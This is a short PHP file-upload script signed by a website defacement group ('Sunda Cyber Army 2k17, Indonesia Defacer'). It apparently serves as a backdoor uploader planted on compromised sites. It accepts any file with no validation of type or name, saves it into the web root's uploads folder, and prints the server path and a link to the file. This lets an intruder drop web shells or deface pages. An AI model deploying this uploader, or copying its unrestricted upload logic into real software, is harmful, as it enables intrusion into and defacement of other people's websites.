* Sunda Cyber Army 2k17 *
Indonesia Defacer ~
<?php
echo "Form submission details:<br>" ;
print_r($_FILES);
echo "<hr>";
if(empty($_FILES["thefile"]["name"])) {
// either the form is loading for the first time
// OR it was submitted with no file
// stop page and give user message
exit("error. no file.");
} else {
// there is an uploaded file from
// a form object named "thefile
echo "Received a file in the form object 'thefile'.<br>";
echo "file was named <strong>" .
$_FILES["thefile"]["name"] . "</strong>";
echo "file was first saved as a temp file at <strong>" .
$_FILES["thefile"]["tmp_name"] . "</strong><br>";
echo "file was then moved with a move_uploaded_file() command to server path <em><strong>" ;
$path = $_SERVER['CONTEXT_DOCUMENT_ROOT'] . "/uploads/";
echo $path . "</strong></em><hr>";
move_uploaded_file($_FILES["thefile"]["tmp_name"], $path . $_FILES["thefile"]["name"]);
echo "<hr>";
echo "Link to uploaded file: ";
echo "<a href='/uploads/" . $_FILES['thefile']['name'] . "'>" .
$_FILES["thefile"]["name"] . "</a>";
exit();
}
?>